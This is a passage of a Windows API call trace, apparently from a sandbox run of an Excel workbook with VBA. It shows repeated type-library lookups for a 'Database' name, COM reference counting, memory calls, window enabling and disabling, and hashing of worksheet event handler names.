(This=0x7feffc15380, cb=0xa) returned 0xb680360 [0152.866] strncpy_s (in: _Dst=0xb680360, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0152.866] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0152.866] bsearch (_Key=0x25fe98, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0152.866] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0152.866] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0152.866] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1380) returned 0x0 [0152.866] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0152.866] IUnknown:Release (This=0xb1d1380) returned 0xb [0152.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb680360, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0152.866] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0152.866] IUnknown:Release (This=0xb1d1380) returned 0xa [0152.866] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d0570) returned 0x0 [0152.867] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0152.867] IUnknown:Release (This=0xb1d0570) returned 0x12 [0152.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb680360, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0152.867] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0152.867] IUnknown:Release (This=0xb1d0570) returned 0x11 [0152.867] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1920) returned 0x0 [0152.867] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0152.867] IUnknown:Release (This=0xb1d1920) returned 0x6 [0152.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb680360, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0152.867] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0152.867] IUnknown:Release (This=0xb1d1920) returned 0x5 [0152.867] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0x6fed890) returned 0x0 [0152.867] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0152.867] IUnknown:Release (This=0x6fed890) returned 0x4 [0152.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb680360, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0152.867] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0152.867] IUnknown:Release (This=0x6fed890) returned 0x3 [0152.867] IMalloc:Free (This=0x7feffc15380, pv=0xb680360) [0152.868] GetCurrentThreadId () returned 0x92c [0152.868] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0152.868] GetDesktopWindow () returned 0x10010 [0152.868] SetPropA (hWnd=0x202cc, lpString=0xc113, hData=0x1) returned 1 [0152.868] EnableWindow (hWnd=0x202cc, bEnable=0) returned 0 [0152.868] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb680360 [0152.868] IMalloc:Free (This=0x7feffc15380, pv=0xb680360) [0152.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x261870, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0152.891] IMalloc:Alloc (This=0x7feffc15380, cb=0xa) returned 0xb68ee20 [0152.891] strncpy_s (in: _Dst=0xb68ee20, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0152.891] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0152.891] bsearch (_Key=0x260778, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0152.891] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0152.891] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0152.891] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1380) returned 0x0 [0152.891] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0152.891] IUnknown:Release (This=0xb1d1380) returned 0xb [0152.891] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68ee20, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0152.891] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0152.892] IUnknown:Release (This=0xb1d1380) returned 0xa [0152.892] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d0570) returned 0x0 [0152.892] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0152.892] IUnknown:Release (This=0xb1d0570) returned 0x12 [0152.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68ee20, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0152.892] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0152.892] IUnknown:Release (This=0xb1d0570) returned 0x11 [0152.892] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1920) returned 0x0 [0152.892] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0152.892] IUnknown:Release (This=0xb1d1920) returned 0x6 [0152.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68ee20, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0152.892] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0152.892] IUnknown:Release (This=0xb1d1920) returned 0x5 [0152.892] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0x6fed890) returned 0x0 [0152.892] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0152.892] IUnknown:Release (This=0x6fed890) returned 0x4 [0152.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68ee20, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0152.892] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0152.893] IUnknown:Release (This=0x6fed890) returned 0x3 [0152.893] IMalloc:Free (This=0x7feffc15380, pv=0xb68ee20) [0155.910] GetAsyncKeyState (vKey=27) returned 0 [0155.910] GetCurrentThreadId () returned 0x92c [0155.910] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0155.910] GetDesktopWindow () returned 0x10010 [0155.910] RemovePropA (hWnd=0x202cc, lpString=0xc113) returned 0x1 [0155.910] EnableWindow (hWnd=0x202cc, bEnable=1) returned 1 [0155.911] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x6edcee0 [0155.911] IMalloc:Free (This=0x7feffc15380, pv=0x6edcee0) [0155.976] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1545, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xd0000001ad | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xd0000001ad) returned 0x0 [0155.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Change", cchWideChar=7, lpMultiByteStr=0x28f020, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Change", lpUsedDefaultChar=0x0) returned 7 [0155.976] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x11, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0155.976] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0x7, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0155.976] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Change") returned 0x10539f [0155.976] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1543, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0155.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28f020, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0155.977] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x1a, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0155.977] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0x10, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0155.977] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0155.978] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1537, refPtrFlags=0x28e370, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0155.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28e3c0, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0155.978] _mbscpy_s (in: _Dst=0x28e210, _DstSizeInBytes=0x1c, _Src=0x6762d5a | out: _Dst=0x28e210) returned 0x0 [0155.978] _mbscpy_s (in: _Dst=0x28e21a, _DstSizeInBytes=0x12, _Src=0x28e3c0 | out: _Dst=0x28e21a) returned 0x0 [0155.978] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0155.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x260f80, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0155.980] IMalloc:Alloc (This=0x7feffc15380, cb=0xa) returned 0xb689360 [0155.980] strncpy_s (in: _Dst=0xb689360, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0155.980] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0155.981] bsearch (_Key=0x25fe98, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0155.981] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0155.981] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0155.981] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1380) returned 0x0 [0155.981] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0155.981] IUnknown:Release (This=0xb1d1380) returned 0xb [0155.981] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb689360, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0155.981] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0155.981] IUnknown:Release (This=0xb1d1380) returned 0xa [0155.981] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d0570) returned 0x0 [0155.981] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0155.981] IUnknown:Release (This=0xb1d0570) returned 0x12 [0155.981] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb689360, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0155.982] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0155.982] IUnknown:Release (This=0xb1d0570) returned 0x11 [0155.982] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1920) returned 0x0 [0155.982] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0155.982] IUnknown:Release (This=0xb1d1920) returned 0x6 [0155.982] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb689360, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0155.982] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0155.982] IUnknown:Release (This=0xb1d1920) returned 0x5 [0155.982] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0x6fed890) returned 0x0 [0155.982] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0155.982] IUnknown:Release (This=0x6fed890) returned 0x4 [0155.982] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb689360, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0155.982] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0155.982] IUnknown:Release (This=0x6fed890) returned 0x3 [0155.982] IMalloc:Free (This=0x7feffc15380, pv=0xb689360) [0155.983] GetCurrentThreadId () returned 0x92c [0155.983] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0155.983] GetDesktopWindow () returned 0x10010 [0155.983] SetPropA (hWnd=0x202cc, lpString=0xc113, hData=0x1) returned 1 [0155.983] EnableWindow (hWnd=0x202cc, bEnable=0) returned 0 [0155.983] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb689360 [0155.983] IMalloc:Free (This=0x7feffc15380, pv=0xb689360) [0156.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x261870, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0156.002] IMalloc:Alloc (This=0x7feffc15380, cb=0xa) returned 0xb68aee0 [0156.002] strncpy_s (in: _Dst=0xb68aee0, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0156.002] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0156.002] bsearch (_Key=0x260778, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0156.002] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0156.002] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0156.003] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1380) returned 0x0 [0156.003] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0156.003] IUnknown:Release (This=0xb1d1380) returned 0xb [0156.003] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68aee0, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0156.003] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0156.003] IUnknown:Release (This=0xb1d1380) returned 0xa [0156.003] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d0570) returned 0x0 [0156.004] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0156.004] IUnknown:Release (This=0xb1d0570) returned 0x12 [0156.004] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68aee0, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0156.004] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0156.004] IUnknown:Release (This=0xb1d0570) returned 0x11 [0156.004] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1920) returned 0x0 [0156.004] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0156.004] IUnknown:Release (This=0xb1d1920) returned 0x6 [0156.004] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68aee0, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0156.004] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0156.004] IUnknown:Release (This=0xb1d1920) returned 0x5 [0156.004] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0x6fed890) returned 0x0 [0156.004] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0156.004] IUnknown:Release (This=0x6fed890) returned 0x4 [0156.004] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68aee0, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0156.004] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0156.005] IUnknown:Release (This=0x6fed890) returned 0x3 [0156.005] IMalloc:Free (This=0x7feffc15380, pv=0xb68aee0) [0159.027] GetAsyncKeyState (vKey=27) returned 0 [0159.027] GetCurrentThreadId () returned 0x92c [0159.027] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0159.027] GetDesktopWindow () returned 0x10010 [0159.027] RemovePropA (hWnd=0x202cc, lpString=0xc113) returned 0x1 [0159.027] EnableWindow (hWnd=0x202cc, bEnable=1) returned 1 [0159.028] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x6edcec0 [0159.028] IMalloc:Free (This=0x7feffc15380, pv=0x6edcec0) [0159.152] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1545, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xd000000284 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xd000000284) returned 0x0 [0159.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Change", cchWideChar=7, lpMultiByteStr=0x28f020, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Change", lpUsedDefaultChar=0x0) returned 7 [0159.152] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x11, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0159.152] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0x7, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0159.152] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Change") returned 0x10539f [0159.153] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1543, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0159.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28f020, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0159.153] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x1a, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0159.153] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0x10, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0159.153] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0159.154] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1537, refPtrFlags=0x28e370, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0159.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28e3c0, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0159.154] _mbscpy_s (in: _Dst=0x28e210, _DstSizeInBytes=0x1c, _Src=0x6762d5a | out: _Dst=0x28e210) returned 0x0 [0159.154] _mbscpy_s (in: _Dst=0x28e21a, _DstSizeInBytes=0x12, _Src=0x28e3c0 | out: _Dst=0x28e21a) returned 0x0 [0159.154] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0159.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 